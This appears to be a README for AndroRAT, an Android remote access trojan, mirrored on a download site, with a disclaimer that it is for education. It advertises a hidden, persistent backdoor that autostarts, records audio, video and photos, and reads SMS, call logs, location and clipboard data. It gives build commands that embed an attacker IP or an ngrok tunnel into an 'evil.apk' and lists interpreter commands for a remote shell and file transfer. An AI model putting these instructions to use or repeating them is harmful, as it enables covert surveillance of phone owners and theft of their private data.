**Disclaimer** : This software is meant for educational purposes only. I don't feel responsible for any malicious use of the app.
# AndroRAT
[![MIT License](https://img.shields.io/badge/license-MIT-blue.svg)](https://opensource.org/licenses/MIT)
[![Twitter Follow](https://img.shields.io/twitter/follow/karma9874?label=Follow&style=social)](https://twitter.com/karma9874)
[![GitHub followers](https://img.shields.io/github/followers/karma9874?label=Follow&style=social)](https://github.com/karma9874)
AndroRAT is a tool designed to give the control of the android system remotely and retrieve informations from it. Androrat is a client/server application developed in Java Android for the client side and the Server is in Python.
##### AndroRAT will work on device from Android 4.1 (Jelly Bean) to Android 9.0 (Oreo) (API 16 to API 28)
> AndroRAT also works on Android 10 (Q) but some of the interpreter command will be unstable.
## Screenshots
![AndroRAT](Screenshots/5.jpg "AndroRAT in action")
## Features of AndroRAT
* Full persistent backdoor
* ~~Fully undetectable by any antivirus scanner [VirusTotal](https://www.virustotal.com/gui/file/e900b5d37ad8c8f79ca000b148253af04696a85fdfc245861cfb226dd86562df/detection)~~
* Invisible icon on install
* Light weight apk which runs 24*7 in background
* App starts automatically on boot up
* Can record audio, video, take picture from both camera
* Browse call logs and SMS logs
* Get current location, sim card details ,ip, mac address of the device
## Prerequisites
AndroRAT requires Python (3.6-3.8) and JAVA 8 (or Android Studio)
## Installation
```
git clone https://github.com/karma9874/AndroRAT.git
pip install -r requirements.txt
```
#### Note:
While cloning the repository using Git bash on windows, you may get the following error:
> error: unable to create file \<filename>: Filename too long
This is because the Git has a limit of 4096 characters for a filename, except on Windows when Git is compiled with msys. It uses an older version of the Windows API and there's a limit of 260 characters for a filename.
You can circumvent this by setting `core.longpaths` to `true`.
> git config --system core.longpaths true
You must run Git bash with administrator privileges.
## Usage (Windows and Linux)
* To get the control panel of the app dial `*#*#1337#*#*` (For now it has only two options `Restart Activity` and `Uninstall`)
> Note: In order to use this feature in some devices you need to enable the option `display pop-up windows running in background` from the settings.
### Available Modes
* `--build` - for building the android apk
* `--ngrok` - for using ngrok tunnel (over the internet)
* `--shell` - getting an interactive shell of the device
### `build` mode
```
Usage:
python androRAT.py --build --ngrok [flags]
Flags:
-p, --port Attacker port number (optional by default its set to 8000)
-o, --output Name for the apk file (optional by default its set to "karma.apk")
```
```
Usage:
python androRAT.py --build [flags]
Flags:
-i, --ip Attacker IP address (required)
-p, --port Attacker port number (required)
-o, --output Name for the apk file (optional)
```
Or you can manually build the apk by importing [Android Code](Android_Code) folder to Android Studio and changing the IP address and port number in [config.java](Android_Code/app/src/main/java/com/example/reverseshell2/config.java) file and then you can generate the signed apk from `Android Studio -> Build -> Generate Signed APK(s)`
### `shell` mode
```
Usage:
python androRAT.py --shell [flags]
Flags:
-i, --ip Listner IP address
-p, --port Listner port number
```
After running the `shell` mode you will get an interpreter of the device
Commands which can run on the interpreter
```
deviceInfo --> returns basic info of the device
camList --> returns cameraID
takepic [cameraID] --> Takes picture from camera
startVideo [cameraID] --> starts recording the video
stopVideo --> stop recording the video and return the video file
startAudio --> starts recording the audio
stopAudio --> stop recording the audio
getSMS [inbox|sent] --> returns inbox sms or sent sms in a file
getCallLogs --> returns call logs in a file
shell --> starts a sh shell of the device
vibrate [number_of_times] --> vibrate the device number of time
getLocation --> return the current location of the device
getIP --> returns the ip of the device
getSimDetails --> returns the details of all sim of the device
clear --> clears the screen
getClipData --> return the current saved text from the clipboard
getMACAddress --> returns the mac address of the device
exit --> exit the interpreter
```
In the sh shell there are some sub commands
```
get [full_file_path] --> donwloads the file to the local machine (file size upto 15mb)
put [filename] --> uploads the file to the android device
```
## Examples
* To build the apk using ngrok which will also set the listner:
```python androRAT.py --build --ngrok -o evil.apk```
* To build the apk using desired ip and port:
```python androRAT.py --build -i 192.169.x.x -p 8000 -o evil.apk```
* To get the interpreter:
```python androRAT.py --shell -i 0.0.0.0 -p 8000```
## Interpreter Examples
* Generating APK
<p align="center">
<img src="Screenshots/6.JPG" width="800"/>
</p>
------------------------------------------------------------------------------------------------------------------------------
* Some interpreter Commands
<p align="center">
<img src="Screenshots/1.JPG" width="800"/>
</p>
------------------------------------------------------------------------------------------------------------------------------
## TODO
* ~~Ngrok support~~
* Set up multi client
* Add screenshot command
## License
AndroRAT is licensed under MIT license take a look at the [LICENSE](LICENSE) for more information.
没有合适的资源?快使用搜索试试~ 我知道了~
AndroRAT:一个使用套接字的简单android远程管理工具。 它在客户端使用java,在服务器端使用python
共2000个文件
smali:2480个
kotlin_metadata:275个
png:270个
需积分: 49 5 下载量 138 浏览量
2021-04-30
13:44:51
上传
评论
收藏 25.74MB ZIP 举报
温馨提示
免责声明:此软件仅用于教育目的。 对于对该应用程序的任何恶意使用,我不承担任何责任。 安德罗 AndroRAT是一个旨在远程控制android系统并从中检索信息的工具。 Androrat是使用Java Android为客户端开发的客户端/服务器应用程序,而Server使用Python。 AndroRAT将在从Android 4.1(Jelly Bean)到Android 9.0(Oreo)(API 16到API 28)的设备上运行 AndroRAT也可在Android 10(Q)上运行,但某些解释器命令将不稳定。 屏幕截图 AndroRAT的功能 完全持久的后门 防病毒扫描程序完全无法检测到 安装时不可见的图标 轻量级apk,在后台运行24 * 7 应用程式会在启动时自动启动 可以录制音频,视频,从两台相机拍摄照片 浏览通话记录和短信记录 获取设备的当前位置,SIM卡详细信息,ip,m
资源详情
资源评论
资源推荐
收起资源包目录
AndroRAT:一个使用套接字的简单android远程管理工具。 它在客户端使用java,在服务器端使用python (2000个子文件)
app-release.aab 2.26MB
app-release.apk 2.03MB
resources.arsc 261KB
gradlew.bat 2KB
.gitattributes 99B
.gitignore 208B
.gitignore 19B
.gitignore 7B
build.gradle 1KB
build.gradle 549B
settings.gradle 48B
gradlew 5KB
apktool.jar 16.84MB
gradle-wrapper.jar 53KB
sign.jar 25KB
tcpConnection.java 11KB
videoRecorder.java 10KB
functions.java 9KB
newShell.java 7KB
locationManager.java 4KB
audioManager.java 4KB
CameraPreview.java 3KB
ipAddr.java 2KB
controlPanel.java 2KB
readCallLogs.java 2KB
readSMS.java 2KB
broadcastReciever.java 1KB
MainActivity.java 1KB
jobScheduler.java 1KB
jumper.java 829B
ExampleInstrumentedTest.java 766B
vibrate.java 620B
mainService.java 570B
keypadListner.java 480B
ExampleUnitTest.java 386B
config.java 135B
5.jpg 612KB
1.JPG 122KB
3.JPG 119KB
virusTotal.JPG 34KB
6.JPG 32KB
output.json 234B
kotlin.kotlin_builtins 14KB
reflect.kotlin_builtins 5KB
collections.kotlin_builtins 4KB
ranges.kotlin_builtins 2KB
annotation.kotlin_builtins 926B
internal.kotlin_builtins 758B
coroutines.kotlin_builtins 200B
StringsKt.kotlin_metadata 4KB
MapsKt.kotlin_metadata 4KB
MathHKt.kotlin_metadata 3KB
TextHKt.kotlin_metadata 3KB
CollectionsKt.kotlin_metadata 2KB
ULong.kotlin_metadata 2KB
UInt.kotlin_metadata 2KB
Duration.kotlin_metadata 2KB
UShort.kotlin_metadata 2KB
UByte.kotlin_metadata 2KB
MutableCollectionsKt.kotlin_metadata 2KB
UNumbersKt.kotlin_metadata 2KB
DurationKt.kotlin_metadata 1KB
SequenceBuilderKt.kotlin_metadata 1KB
ResultKt.kotlin_metadata 1KB
AbstractList.kotlin_metadata 1KB
ComparisonsKt.kotlin_metadata 1KB
NumbersKt.kotlin_metadata 1KB
GroupingKt.kotlin_metadata 1KB
Typography.kotlin_metadata 1KB
Random.kotlin_metadata 1KB
KotlinHKt.kotlin_metadata 1KB
UStringsKt.kotlin_metadata 1KB
SequencesKt.kotlin_metadata 1KB
CollectionsHKt.kotlin_metadata 1KB
ContinuationKt.kotlin_metadata 1KB
ArraysKt.kotlin_metadata 1020B
ArrayList.kotlin_metadata 972B
StandardKt.kotlin_metadata 967B
AbstractMap.kotlin_metadata 945B
MutableMapWithDefaultImpl.kotlin_metadata 943B
URandomKt.kotlin_metadata 942B
CombinedContext.kotlin_metadata 933B
Regex.kotlin_metadata 926B
UShortArray.kotlin_metadata 863B
ULongArray.kotlin_metadata 858B
UByteArray.kotlin_metadata 858B
UIntArray.kotlin_metadata 853B
CoroutinesLibraryKt.kotlin_metadata 847B
MapAccessorsKt.kotlin_metadata 804B
Result.kotlin_metadata 803B
EmptyList.kotlin_metadata 800B
SequenceBuilderKt.kotlin_metadata 791B
MapWithDefaultImpl.kotlin_metadata 768B
ClockKt.kotlin_metadata 753B
MatchResult.kotlin_metadata 741B
AbstractMutableList.kotlin_metadata 739B
SequenceBuilderIterator.kotlin_metadata 739B
SequenceBuilderIterator.kotlin_metadata 731B
LinkedHashMap.kotlin_metadata 731B
HashMap.kotlin_metadata 725B
共 2000 条
- 1
- 2
- 3
- 4
- 5
- 6
- 20
yueyhangcheuk
- 粉丝: 31
- 资源: 4701
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
最新资源
- 虚拟 Python 环境构建器.zip
- 洪涝灾害应急信息-JAVA-基于springBoot洪涝灾害应急信息管理系统设计与实现(毕业论文+PPT)
- 嗨玩旅游网站-JAVA-基于springboot嗨玩旅游网站设计与实现(毕业论文+PPT)
- 艰难学习 Python3 的代码.zip
- 个性化旅游推荐-JAVA-基于springboot个性化旅游推荐系统的设计与实现(毕业论文+PPT)
- 腾讯云 API 3.0 SDK for Python.zip
- 胡迈的 IA 独裁者完整指南.zip
- 老齐(qiwsir)的Python基础教程Gitbook版.zip
- 编程入门课程中使用的所有幻灯片、答案文件和其他解决方案.zip
- 编写代码来锻炼你的 Python 知识 .zip
资源上传下载、课程学习等过程中有任何疑问或建议,欢迎提出宝贵意见哦~我们会及时处理!
点击此处反馈
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功
评论0